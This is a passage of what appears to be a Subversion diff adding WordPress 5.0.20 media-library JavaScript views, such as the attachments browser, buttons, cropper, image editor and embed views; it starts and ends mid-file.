+			filters: false,
+			search:  true,
+			date:    true,
+			display: false,
+			sidebar: true,
+			AttachmentView: wp.media.view.Attachment.Library
+		});
+
+		this.controller.on( 'toggle:upload:attachment', this.toggleUploader, this );
+		this.controller.on( 'edit:selection', this.editSelection );
+
+		// In the Media Library, the sidebar is used to display errors before the attachments grid.
+		if ( this.options.sidebar && 'errors' === this.options.sidebar ) {
+			this.createSidebar();
+		}
+
+		/*
+		 * For accessibility reasons, place the Inline Uploader before other sections.
+		 * This way, in the Media Library, it's right after the Add New button, see ticket #37188.
+		 */
+		this.createUploader();
+
+		/*
+		 * Create a multi-purpose toolbar. Used as main toolbar in the Media Library
+		 * and also for other things, for example the "Drag and drop to reorder" and
+		 * "Suggested dimensions" info in the media modal.
+		 */
+		this.createToolbar();
+
+		// Create the list of attachments.
+		this.createAttachments();
+
+		// For accessibility reasons, place the normal sidebar after the attachments, see ticket #36909.
+		if ( this.options.sidebar && 'errors' !== this.options.sidebar ) {
+			this.createSidebar();
+		}
+
+		this.updateContent();
+
+		if ( ! this.options.sidebar || 'errors' === this.options.sidebar ) {
+			this.$el.addClass( 'hide-sidebar' );
+
+			if ( 'errors' === this.options.sidebar ) {
+				this.$el.addClass( 'sidebar-for-errors' );
+			}
+		}
+
+		this.collection.on( 'add remove reset', this.updateContent, this );
+	},
+
+	editSelection: function( modal ) {
+		modal.$( '.media-button-backToLibrary' ).focus();
+	},
+
+	/**
+	 * @returns {wp.media.view.AttachmentsBrowser} Returns itself to allow chaining
+	 */
+	dispose: function() {
+		this.options.selection.off( null, null, this );
+		View.prototype.dispose.apply( this, arguments );
+		return this;
+	},
+
+	createToolbar: function() {
+		var LibraryViewSwitcher, Filters, toolbarOptions;
+
+		toolbarOptions = {
+			controller: this.controller
+		};
+
+		if ( this.controller.isModeActive( 'grid' ) ) {
+			toolbarOptions.className = 'media-toolbar wp-filter';
+		}
+
+		/**
+		* @member {wp.media.view.Toolbar}
+		*/
+		this.toolbar = new wp.media.view.Toolbar( toolbarOptions );
+
+		this.views.add( this.toolbar );
+
+		this.toolbar.set( 'spinner', new wp.media.view.Spinner({
+			priority: -60
+		}) );
+
+		if ( -1 !== $.inArray( this.options.filters, [ 'uploaded', 'all' ] ) ) {
+			// "Filters" will return a <select>, need to render
+			// screen reader text before
+			this.toolbar.set( 'filtersLabel', new wp.media.view.Label({
+				value: l10n.filterByType,
+				attributes: {
+					'for':  'media-attachment-filters'
+				},
+				priority:   -80
+			}).render() );
+
+			if ( 'uploaded' === this.options.filters ) {
+				this.toolbar.set( 'filters', new wp.media.view.AttachmentFilters.Uploaded({
+					controller: this.controller,
+					model:      this.collection.props,
+					priority:   -80
+				}).render() );
+			} else {
+				Filters = new wp.media.view.AttachmentFilters.All({
+					controller: this.controller,
+					model:      this.collection.props,
+					priority:   -80
+				});
+
+				this.toolbar.set( 'filters', Filters.render() );
+			}
+		}
+
+		// Feels odd to bring the global media library switcher into the Attachment
+		// browser view. Is this a use case for doAction( 'add:toolbar-items:attachments-browser', this.toolbar );
+		// which the controller can tap into and add this view?
+		if ( this.controller.isModeActive( 'grid' ) ) {
+			LibraryViewSwitcher = View.extend({
+				className: 'view-switch media-grid-view-switch',
+				template: wp.template( 'media-library-view-switcher')
+			});
+
+			this.toolbar.set( 'libraryViewSwitcher', new LibraryViewSwitcher({
+				controller: this.controller,
+				priority: -90
+			}).render() );
+
+			// DateFilter is a <select>, screen reader text needs to be rendered before
+			this.toolbar.set( 'dateFilterLabel', new wp.media.view.Label({
+				value: l10n.filterByDate,
+				attributes: {
+					'for': 'media-attachment-date-filters'
+				},
+				priority: -75
+			}).render() );
+			this.toolbar.set( 'dateFilter', new wp.media.view.DateFilter({
+				controller: this.controller,
+				model:      this.collection.props,
+				priority: -75
+			}).render() );
+
+			// BulkSelection is a <div> with subviews, including screen reader text
+			this.toolbar.set( 'selectModeToggleButton', new wp.media.view.SelectModeToggleButton({
+				text: l10n.bulkSelect,
+				controller: this.controller,
+				priority: -70
+			}).render() );
+
+			this.toolbar.set( 'deleteSelectedButton', new wp.media.view.DeleteSelectedButton({
+				filters: Filters,
+				style: 'primary',
+				disabled: true,
+				text: mediaTrash ? l10n.trashSelected : l10n.deleteSelected,
+				controller: this.controller,
+				priority: -60,
+				click: function() {
+					var changed = [], removed = [],
+						selection = this.controller.state().get( 'selection' ),
+						library = this.controller.state().get( 'library' );
+
+					if ( ! selection.length ) {
+						return;
+					}
+
+					if ( ! mediaTrash && ! window.confirm( l10n.warnBulkDelete ) ) {
+						return;
+					}
+
+					if ( mediaTrash &&
+						'trash' !== selection.at( 0 ).get( 'status' ) &&
+						! window.confirm( l10n.warnBulkTrash ) ) {
+
+						return;
+					}
+
+					selection.each( function( model ) {
+						if ( ! model.get( 'nonces' )['delete'] ) {
+							removed.push( model );
+							return;
+						}
+
+						if ( mediaTrash && 'trash' === model.get( 'status' ) ) {
+							model.set( 'status', 'inherit' );
+							changed.push( model.save() );
+							removed.push( model );
+						} else if ( mediaTrash ) {
+							model.set( 'status', 'trash' );
+							changed.push( model.save() );
+							removed.push( model );
+						} else {
+							model.destroy({wait: true});
+						}
+					} );
+
+					if ( changed.length ) {
+						selection.remove( removed );
+
+						$.when.apply( null, changed ).then( _.bind( function() {
+							library._requery( true );
+							this.controller.trigger( 'selection:action:done' );
+						}, this ) );
+					} else {
+						this.controller.trigger( 'selection:action:done' );
+					}
+				}
+			}).render() );
+
+			if ( mediaTrash ) {
+				this.toolbar.set( 'deleteSelectedPermanentlyButton', new wp.media.view.DeleteSelectedPermanentlyButton({
+					filters: Filters,
+					style: 'primary',
+					disabled: true,
+					text: l10n.deleteSelected,
+					controller: this.controller,
+					priority: -55,
+					click: function() {
+						var removed = [],
+							destroy = [],
+							selection = this.controller.state().get( 'selection' );
+
+						if ( ! selection.length || ! window.confirm( l10n.warnBulkDelete ) ) {
+							return;
+						}
+
+						selection.each( function( model ) {
+							if ( ! model.get( 'nonces' )['delete'] ) {
+								removed.push( model );
+								return;
+							}
+
+							destroy.push( model );
+						} );
+
+						if ( removed.length ) {
+							selection.remove( removed );
+						}
+
+						if ( destroy.length ) {
+							$.when.apply( null, destroy.map( function (item) {
+								return item.destroy();
+							} ) ).then( _.bind( function() {
+								this.controller.trigger( 'selection:action:done' );
+							}, this ) );
+						}
+					}
+				}).render() );
+			}
+
+		} else if ( this.options.date ) {
+			// DateFilter is a <select>, screen reader text needs to be rendered before
+			this.toolbar.set( 'dateFilterLabel', new wp.media.view.Label({
+				value: l10n.filterByDate,
+				attributes: {
+					'for': 'media-attachment-date-filters'
+				},
+				priority: -75
+			}).render() );
+			this.toolbar.set( 'dateFilter', new wp.media.view.DateFilter({
+				controller: this.controller,
+				model:      this.collection.props,
+				priority: -75
+			}).render() );
+		}
+
+		if ( this.options.search ) {
+			// Search is an input, screen reader text needs to be rendered before
+			this.toolbar.set( 'searchLabel', new wp.media.view.Label({
+				value: l10n.searchMediaLabel,
+				attributes: {
+					'for': 'media-search-input'
+				},
+				priority:   60
+			}).render() );
+			this.toolbar.set( 'search', new wp.media.view.Search({
+				controller: this.controller,
+				model:      this.collection.props,
+				priority:   60
+			}).render() );
+		}
+
+		if ( this.options.dragInfo ) {
+			this.toolbar.set( 'dragInfo', new View({
+				el: $( '<div class="instructions">' + l10n.dragInfo + '</div>' )[0],
+				priority: -40
+			}) );
+		}
+
+		if ( this.options.suggestedWidth && this.options.suggestedHeight ) {
+			this.toolbar.set( 'suggestedDimensions', new View({
+				el: $( '<div class="instructions">' + l10n.suggestedDimensions.replace( '%1$s', this.options.suggestedWidth ).replace( '%2$s', this.options.suggestedHeight ) + '</div>' )[0],
+				priority: -40
+			}) );
+		}
+	},
+
+	updateContent: function() {
+		var view = this,
+			noItemsView;
+
+		if ( this.controller.isModeActive( 'grid' ) ) {
+			noItemsView = view.attachmentsNoResults;
+		} else {
+			noItemsView = view.uploader;
+		}
+
+		if ( ! this.collection.length ) {
+			this.toolbar.get( 'spinner' ).show();
+			this.dfd = this.collection.more().done( function() {
+				if ( ! view.collection.length ) {
+					noItemsView.$el.removeClass( 'hidden' );
+				} else {
+					noItemsView.$el.addClass( 'hidden' );
+				}
+				view.toolbar.get( 'spinner' ).hide();
+			} );
+		} else {
+			noItemsView.$el.addClass( 'hidden' );
+			view.toolbar.get( 'spinner' ).hide();
+		}
+	},
+
+	createUploader: function() {
+		this.uploader = new wp.media.view.UploaderInline({
+			controller: this.controller,
+			status:     false,
+			message:    this.controller.isModeActive( 'grid' ) ? '' : l10n.noItemsFound,
+			canClose:   this.controller.isModeActive( 'grid' )
+		});
+
+		this.uploader.$el.addClass( 'hidden' );
+		this.views.add( this.uploader );
+	},
+
+	toggleUploader: function() {
+		if ( this.uploader.$el.hasClass( 'hidden' ) ) {
+			this.uploader.show();
+		} else {
+			this.uploader.hide();
+		}
+	},
+
+	createAttachments: function() {
+		this.attachments = new wp.media.view.Attachments({
+			controller:           this.controller,
+			collection:           this.collection,
+			selection:            this.options.selection,
+			model:                this.model,
+			sortable:             this.options.sortable,
+			scrollElement:        this.options.scrollElement,
+			idealColumnWidth:     this.options.idealColumnWidth,
+
+			// The single `Attachment` view to be used in the `Attachments` view.
+			AttachmentView: this.options.AttachmentView
+		});
+
+		// Add keydown listener to the instance of the Attachments view
+		this.controller.on( 'attachment:keydown:arrow',     _.bind( this.attachments.arrowEvent, this.attachments ) );
+		this.controller.on( 'attachment:details:shift-tab', _.bind( this.attachments.restoreFocus, this.attachments ) );
+
+		this.views.add( this.attachments );
+
+
+		if ( this.controller.isModeActive( 'grid' ) ) {
+			this.attachmentsNoResults = new View({
+				controller: this.controller,
+				tagName: 'p'
+			});
+
+			this.attachmentsNoResults.$el.addClass( 'hidden no-media' );
+			this.attachmentsNoResults.$el.html( l10n.noMedia );
+
+			this.views.add( this.attachmentsNoResults );
+		}
+	},
+
+	createSidebar: function() {
+		var options = this.options,
+			selection = options.selection,
+			sidebar = this.sidebar = new wp.media.view.Sidebar({
+				controller: this.controller
+			});
+
+		this.views.add( sidebar );
+
+		if ( this.controller.uploader ) {
+			sidebar.set( 'uploads', new wp.media.view.UploaderStatus({
+				controller: this.controller,
+				priority:   40
+			}) );
+		}
+
+		selection.on( 'selection:single', this.createSingle, this );
+		selection.on( 'selection:unsingle', this.disposeSingle, this );
+
+		if ( selection.single() ) {
+			this.createSingle();
+		}
+	},
+
+	createSingle: function() {
+		var sidebar = this.sidebar,
+			single = this.options.selection.single();
+
+		sidebar.set( 'details', new wp.media.view.Attachment.Details({
+			controller: this.controller,
+			model:      single,
+			priority:   80
+		}) );
+
+		sidebar.set( 'compat', new wp.media.view.AttachmentCompat({
+			controller: this.controller,
+			model:      single,
+			priority:   120
+		}) );
+
+		if ( this.options.display ) {
+			sidebar.set( 'display', new wp.media.view.Settings.AttachmentDisplay({
+				controller:   this.controller,
+				model:        this.model.display( single ),
+				attachment:   single,
+				priority:     160,
+				userSettings: this.model.get('displayUserSettings')
+			}) );
+		}
+
+		// Show the sidebar on mobile
+		if ( this.model.id === 'insert' ) {
+			sidebar.$el.addClass( 'visible' );
+		}
+	},
+
+	disposeSingle: function() {
+		var sidebar = this.sidebar;
+		sidebar.unset('details');
+		sidebar.unset('compat');
+		sidebar.unset('display');
+		// Hide the sidebar on mobile
+		sidebar.$el.removeClass( 'visible' );
+	}
+});
+
+module.exports = AttachmentsBrowser;
Index: /tags/5.0.20/src/wp-includes/js/media/views/attachments/selection.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/attachments/selection.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/attachments/selection.js	(revision 56912)
@@ -0,0 +1,30 @@
+var Attachments = wp.media.view.Attachments,
+	Selection;
+
+/**
+ * wp.media.view.Attachments.Selection
+ *
+ * @memberOf wp.media.view.Attachments
+ *
+ * @class
+ * @augments wp.media.view.Attachments
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+Selection = Attachments.extend(/** @lends wp.media.view.Attachments.Selection.prototype */{
+	events: {},
+	initialize: function() {
+		_.defaults( this.options, {
+			sortable:   false,
+			resize:     false,
+
+			// The single `Attachment` view to be used in the `Attachments` view.
+			AttachmentView: wp.media.view.Attachment.Selection
+		});
+		// Call 'initialize' directly on the parent class.
+		return Attachments.prototype.initialize.apply( this, arguments );
+	}
+});
+
+module.exports = Selection;
Index: /tags/5.0.20/src/wp-includes/js/media/views/audio-details.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/audio-details.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/audio-details.js	(revision 56912)
@@ -0,0 +1,38 @@
+var MediaDetails = wp.media.view.MediaDetails,
+	AudioDetails;
+
+/**
+ * wp.media.view.AudioDetails
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.view.MediaDetails
+ * @augments wp.media.view.Settings.AttachmentDisplay
+ * @augments wp.media.view.Settings
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+AudioDetails = MediaDetails.extend(/** @lends wp.media.view.AudioDetails.prototype */{
+	className: 'audio-details',
+	template:  wp.template('audio-details'),
+
+	setMedia: function() {
+		var audio = this.$('.wp-audio-shortcode');
+
+		if ( audio.find( 'source' ).length ) {
+			if ( audio.is(':hidden') ) {
+				audio.show();
+			}
+			this.media = MediaDetails.prepareSrc( audio.get(0) );
+		} else {
+			audio.hide();
+			this.media = false;
+		}
+
+		return this;
+	}
+});
+
+module.exports = AudioDetails;
Index: /tags/5.0.20/src/wp-includes/js/media/views/button-group.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/button-group.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/button-group.js	(revision 56912)
@@ -0,0 +1,46 @@
+var $ = Backbone.$,
+	ButtonGroup;
+
+/**
+ * wp.media.view.ButtonGroup
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+ButtonGroup = wp.media.View.extend(/** @lends wp.media.view.ButtonGroup.prototype */{
+	tagName:   'div',
+	className: 'button-group button-large media-button-group',
+
+	initialize: function() {
+		/**
+		 * @member {wp.media.view.Button[]}
+		 */
+		this.buttons = _.map( this.options.buttons || [], function( button ) {
+			if ( button instanceof Backbone.View ) {
+				return button;
+			} else {
+				return new wp.media.view.Button( button ).render();
+			}
+		});
+
+		delete this.options.buttons;
+
+		if ( this.options.classes ) {
+			this.$el.addClass( this.options.classes );
+		}
+	},
+
+	/**
+	 * @returns {wp.media.view.ButtonGroup}
+	 */
+	render: function() {
+		this.$el.html( $( _.pluck( this.buttons, 'el' ) ).detach() );
+		return this;
+	}
+});
+
+module.exports = ButtonGroup;
Index: /tags/5.0.20/src/wp-includes/js/media/views/button.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/button.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/button.js	(revision 56912)
@@ -0,0 +1,86 @@
+/**
+ * wp.media.view.Button
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+var Button = wp.media.View.extend(/** @lends wp.media.view.Button.prototype */{
+	tagName:    'button',
+	className:  'media-button',
+	attributes: { type: 'button' },
+
+	events: {
+		'click': 'click'
+	},
+
+	defaults: {
+		text:     '',
+		style:    '',
+		size:     'large',
+		disabled: false
+	},
+
+	initialize: function() {
+		/**
+		 * Create a model with the provided `defaults`.
+		 *
+		 * @member {Backbone.Model}
+		 */
+		this.model = new Backbone.Model( this.defaults );
+
+		// If any of the `options` have a key from `defaults`, apply its
+		// value to the `model` and remove it from the `options object.
+		_.each( this.defaults, function( def, key ) {
+			var value = this.options[ key ];
+			if ( _.isUndefined( value ) ) {
+				return;
+			}
+
+			this.model.set( key, value );
+			delete this.options[ key ];
+		}, this );
+
+		this.listenTo( this.model, 'change', this.render );
+	},
+	/**
+	 * @returns {wp.media.view.Button} Returns itself to allow chaining
+	 */
+	render: function() {
+		var classes = [ 'button', this.className ],
+			model = this.model.toJSON();
+
+		if ( model.style ) {
+			classes.push( 'button-' + model.style );
+		}
+
+		if ( model.size ) {
+			classes.push( 'button-' + model.size );
+		}
+
+		classes = _.uniq( classes.concat( this.options.classes ) );
+		this.el.className = classes.join(' ');
+
+		this.$el.attr( 'disabled', model.disabled );
+		this.$el.text( this.model.get('text') );
+
+		return this;
+	},
+	/**
+	 * @param {Object} event
+	 */
+	click: function( event ) {
+		if ( '#' === this.attributes.href ) {
+			event.preventDefault();
+		}
+
+		if ( this.options.click && ! this.model.get('disabled') ) {
+			this.options.click.apply( this, arguments );
+		}
+	}
+});
+
+module.exports = Button;
Index: /tags/5.0.20/src/wp-includes/js/media/views/button/delete-selected-permanently.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/button/delete-selected-permanently.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/button/delete-selected-permanently.js	(revision 56912)
@@ -0,0 +1,47 @@
+var Button = wp.media.view.Button,
+	DeleteSelected = wp.media.view.DeleteSelectedButton,
+	DeleteSelectedPermanently;
+
+/**
+ * wp.media.view.DeleteSelectedPermanentlyButton
+ *
+ * When MEDIA_TRASH is true, a button that handles bulk Delete Permanently logic
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.view.DeleteSelectedButton
+ * @augments wp.media.view.Button
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+DeleteSelectedPermanently = DeleteSelected.extend(/** @lends wp.media.view.DeleteSelectedPermanentlyButton.prototype */{
+	initialize: function() {
+		DeleteSelected.prototype.initialize.apply( this, arguments );
+		this.controller.on( 'select:activate', this.selectActivate, this );
+		this.controller.on( 'select:deactivate', this.selectDeactivate, this );
+	},
+
+	filterChange: function( model ) {
+		this.canShow = ( 'trash' === model.get( 'status' ) );
+	},
+
+	selectActivate: function() {
+		this.toggleDisabled();
+		this.$el.toggleClass( 'hidden', ! this.canShow );
+	},
+
+	selectDeactivate: function() {
+		this.toggleDisabled();
+		this.$el.addClass( 'hidden' );
+	},
+
+	render: function() {
+		Button.prototype.render.apply( this, arguments );
+		this.selectActivate();
+		return this;
+	}
+});
+
+module.exports = DeleteSelectedPermanently;
Index: /tags/5.0.20/src/wp-includes/js/media/views/button/delete-selected.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/button/delete-selected.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/button/delete-selected.js	(revision 56912)
@@ -0,0 +1,53 @@
+var Button = wp.media.view.Button,
+	l10n = wp.media.view.l10n,
+	DeleteSelected;
+
+/**
+ * wp.media.view.DeleteSelectedButton
+ *
+ * A button that handles bulk Delete/Trash logic
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.view.Button
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+DeleteSelected = Button.extend(/** @lends wp.media.view.DeleteSelectedButton.prototype */{
+	initialize: function() {
+		Button.prototype.initialize.apply( this, arguments );
+		if ( this.options.filters ) {
+			this.options.filters.model.on( 'change', this.filterChange, this );
+		}
+		this.controller.on( 'selection:toggle', this.toggleDisabled, this );
+	},
+
+	filterChange: function( model ) {
+		if ( 'trash' === model.get( 'status' ) ) {
+			this.model.set( 'text', l10n.untrashSelected );
+		} else if ( wp.media.view.settings.mediaTrash ) {
+			this.model.set( 'text', l10n.trashSelected );
+		} else {
+			this.model.set( 'text', l10n.deleteSelected );
+		}
+	},
+
+	toggleDisabled: function() {
+		this.model.set( 'disabled', ! this.controller.state().get( 'selection' ).length );
+	},
+
+	render: function() {
+		Button.prototype.render.apply( this, arguments );
+		if ( this.controller.isModeActive( 'select' ) ) {
+			this.$el.addClass( 'delete-selected-button' );
+		} else {
+			this.$el.addClass( 'delete-selected-button hidden' );
+		}
+		this.toggleDisabled();
+		return this;
+	}
+});
+
+module.exports = DeleteSelected;
Index: /tags/5.0.20/src/wp-includes/js/media/views/button/select-mode-toggle.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/button/select-mode-toggle.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/button/select-mode-toggle.js	(revision 56912)
@@ -0,0 +1,75 @@
+
+var Button = wp.media.view.Button,
+	l10n = wp.media.view.l10n,
+	SelectModeToggle;
+
+/**
+ * wp.media.view.SelectModeToggleButton
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.view.Button
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+SelectModeToggle = Button.extend(/** @lends wp.media.view.SelectModeToggle.prototype */{
+	initialize: function() {
+		_.defaults( this.options, {
+			size : ''
+		} );
+
+		Button.prototype.initialize.apply( this, arguments );
+		this.controller.on( 'select:activate select:deactivate', this.toggleBulkEditHandler, this );
+		this.controller.on( 'selection:action:done', this.back, this );
+	},
+
+	back: function () {
+		this.controller.deactivateMode( 'select' ).activateMode( 'edit' );
+	},
+
+	click: function() {
+		Button.prototype.click.apply( this, arguments );
+		if ( this.controller.isModeActive( 'select' ) ) {
+			this.back();
+		} else {
+			this.controller.deactivateMode( 'edit' ).activateMode( 'select' );
+		}
+	},
+
+	render: function() {
+		Button.prototype.render.apply( this, arguments );
+		this.$el.addClass( 'select-mode-toggle-button' );
+		return this;
+	},
+
+	toggleBulkEditHandler: function() {
+		var toolbar = this.controller.content.get().toolbar, children;
+
+		children = toolbar.$( '.media-toolbar-secondary > *, .media-toolbar-primary > *' );
+
+		// TODO: the Frame should be doing all of this.
+		if ( this.controller.isModeActive( 'select' ) ) {
+			this.model.set( {
+				size: 'large',
+				text: l10n.cancelSelection
+			} );
+			children.not( '.spinner, .media-button' ).hide();
+			this.$el.show();
+			toolbar.$( '.delete-selected-button' ).removeClass( 'hidden' );
+		} else {
+			this.model.set( {
+				size: '',
+				text: l10n.bulkSelect
+			} );
+			this.controller.content.get().$el.removeClass( 'fixed' );
+			toolbar.$el.css( 'width', '' );
+			toolbar.$( '.delete-selected-button' ).addClass( 'hidden' );
+			children.not( '.media-button' ).show();
+			this.controller.state().get( 'selection' ).reset();
+		}
+	}
+});
+
+module.exports = SelectModeToggle;
Index: /tags/5.0.20/src/wp-includes/js/media/views/cropper.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/cropper.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/cropper.js	(revision 56912)
@@ -0,0 +1,95 @@
+var View = wp.media.View,
+	UploaderStatus = wp.media.view.UploaderStatus,
+	l10n = wp.media.view.l10n,
+	$ = jQuery,
+	Cropper;
+
+/**
+ * wp.media.view.Cropper
+ *
+ * Uses the imgAreaSelect plugin to allow a user to crop an image.
+ *
+ * Takes imgAreaSelect options from
+ * wp.customize.HeaderControl.calculateImageSelectOptions via
+ * wp.customize.HeaderControl.openMM.
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+Cropper = View.extend(/** @lends wp.media.view.Cropper.prototype */{
+	className: 'crop-content',
+	template: wp.template('crop-content'),
+	initialize: function() {
+		_.bindAll(this, 'onImageLoad');
+	},
+	ready: function() {
+		this.controller.frame.on('content:error:crop', this.onError, this);
+		this.$image = this.$el.find('.crop-image');
+		this.$image.on('load', this.onImageLoad);
+		$(window).on('resize.cropper', _.debounce(this.onImageLoad, 250));
+	},
+	remove: function() {
+		$(window).off('resize.cropper');
+		this.$el.remove();
+		this.$el.off();
+		View.prototype.remove.apply(this, arguments);
+	},
+	prepare: function() {
+		return {
+			title: l10n.cropYourImage,
+			url: this.options.attachment.get('url')
+		};
+	},
+	onImageLoad: function() {
+		var imgOptions = this.controller.get('imgSelectOptions'),
+			imgSelect;
+
+		if (typeof imgOptions === 'function') {
+			imgOptions = imgOptions(this.options.attachment, this.controller);
+		}
+
+		imgOptions = _.extend(imgOptions, {
+			parent: this.$el,
+			onInit: function() {
+
+				// Store the set ratio.
+				var setRatio = imgSelect.getOptions().aspectRatio;
+
+				// On mousedown, if no ratio is set and the Shift key is down, use a 1:1 ratio.
+				this.parent.children().on( 'mousedown touchstart', function( e ) {
+
+					// If no ratio is set and the shift key is down, use a 1:1 ratio.
+					if ( ! setRatio && e.shiftKey ) {
+						imgSelect.setOptions( {
+							aspectRatio: '1:1'
+						} );
+					}
+				} );
+
+				this.parent.children().on( 'mouseup touchend', function() {
+
+					// Restore the set ratio.
+					imgSelect.setOptions( {
+						aspectRatio: setRatio ? setRatio : false
+					} );
+				} );
+			}
+		} );
+		this.trigger('image-loaded');
+		imgSelect = this.controller.imgSelect = this.$image.imgAreaSelect(imgOptions);
+	},
+	onError: function() {
+		var filename = this.options.attachment.get('filename');
+
+		this.views.add( '.upload-errors', new wp.media.view.UploaderStatusError({
+			filename: UploaderStatus.prototype.filename(filename),
+			message: window._wpMediaViewsL10n.cropError
+		}), { at: 0 });
+	}
+});
+
+module.exports = Cropper;
Index: /tags/5.0.20/src/wp-includes/js/media/views/edit-image-details.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/edit-image-details.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/edit-image-details.js	(revision 56912)
@@ -0,0 +1,35 @@
+var View = wp.media.View,
+	EditImage = wp.media.view.EditImage,
+	Details;
+
+/**
+ * wp.media.view.EditImage.Details
+ *
+ * @memberOf wp.media.view.EditImage
+ *
+ * @class
+ * @augments wp.media.view.EditImage
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+Details = EditImage.extend(/** @lends wp.media.view.EditImage.Details.prototype */{
+	initialize: function( options ) {
+		this.editor = window.imageEdit;
+		this.frame = options.frame;
+		this.controller = options.controller;
+		View.prototype.initialize.apply( this, arguments );
+	},
+
+	back: function() {
+		this.frame.content.mode( 'edit-metadata' );
+	},
+
+	save: function() {
+		this.model.fetch().done( _.bind( function() {
+			this.frame.content.mode( 'edit-metadata' );
+		}, this ) );
+	}
+});
+
+module.exports = Details;
Index: /tags/5.0.20/src/wp-includes/js/media/views/edit-image.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/edit-image.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/edit-image.js	(revision 56912)
@@ -0,0 +1,56 @@
+var View = wp.media.View,
+	EditImage;
+
+/**
+ * wp.media.view.EditImage
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+EditImage = View.extend(/** @lends wp.media.view.EditImage.prototype */{
+	className: 'image-editor',
+	template: wp.template('image-editor'),
+
+	initialize: function( options ) {
+		this.editor = window.imageEdit;
+		this.controller = options.controller;
+		View.prototype.initialize.apply( this, arguments );
+	},
+
+	prepare: function() {
+		return this.model.toJSON();
+	},
+
+	loadEditor: function() {
+		var dfd = this.editor.open( this.model.get('id'), this.model.get('nonces').edit, this );
+		dfd.done( _.bind( this.focus, this ) );
+	},
+
+	focus: function() {
+		this.$( '.imgedit-submit .button' ).eq( 0 ).focus();
+	},
+
+	back: function() {
+		var lastState = this.controller.lastState();
+		this.controller.setState( lastState );
+	},
+
+	refresh: function() {
+		this.model.fetch();
+	},
+
+	save: function() {
+		var lastState = this.controller.lastState();
+
+		this.model.fetch().done( _.bind( function() {
+			this.controller.setState( lastState );
+		}, this ) );
+	}
+
+});
+
+module.exports = EditImage;
Index: /tags/5.0.20/src/wp-includes/js/media/views/embed.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/embed.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/embed.js	(revision 56912)
@@ -0,0 +1,64 @@
+/**
+ * wp.media.view.Embed
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+var Embed = wp.media.View.extend(/** @lends wp.media.view.Ember.prototype */{
+	className: 'media-embed',
+
+	initialize: function() {
+		/**
+		 * @member {wp.media.view.EmbedUrl}
+		 */
+		this.url = new wp.media.view.EmbedUrl({
+			controller: this.controller,
+			model:      this.model.props
+		}).render();
+
+		this.views.set([ this.url ]);
+		this.refresh();
+		this.listenTo( this.model, 'change:type', this.refresh );
+		this.listenTo( this.model, 'change:loading', this.loading );
+	},
+
+	/**
+	 * @param {Object} view
+	 */
+	settings: function( view ) {
+		if ( this._settings ) {
+			this._settings.remove();
+		}
+		this._settings = view;
+		this.views.add( view );
+	},
+
+	refresh: function() {
+		var type = this.model.get('type'),
+			constructor;
+
+		if ( 'image' === type ) {
+			constructor = wp.media.view.EmbedImage;
+		} else if ( 'link' === type ) {
+			constructor = wp.media.view.EmbedLink;
+		} else {
+			return;
+		}
+
+		this.settings( new constructor({
+			controller: this.controller,
+			model:      this.model.props,
+			priority:   40
+		}) );
+	},
+
+	loading: function() {
+		this.$el.toggleClass( 'embed-loading', this.model.get('loading') );
+	}
+});
+
+module.exports = Embed;
Index: /tags/5.0.20/src/wp-includes/js/media/views/embed/image.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/embed/image.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/embed/image.js	(revision 56912)
@@ -0,0 +1,33 @@
+var AttachmentDisplay = wp.media.view.Settings.AttachmentDisplay,
+	EmbedImage;
+
+/**
+ * wp.media.view.EmbedImage
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
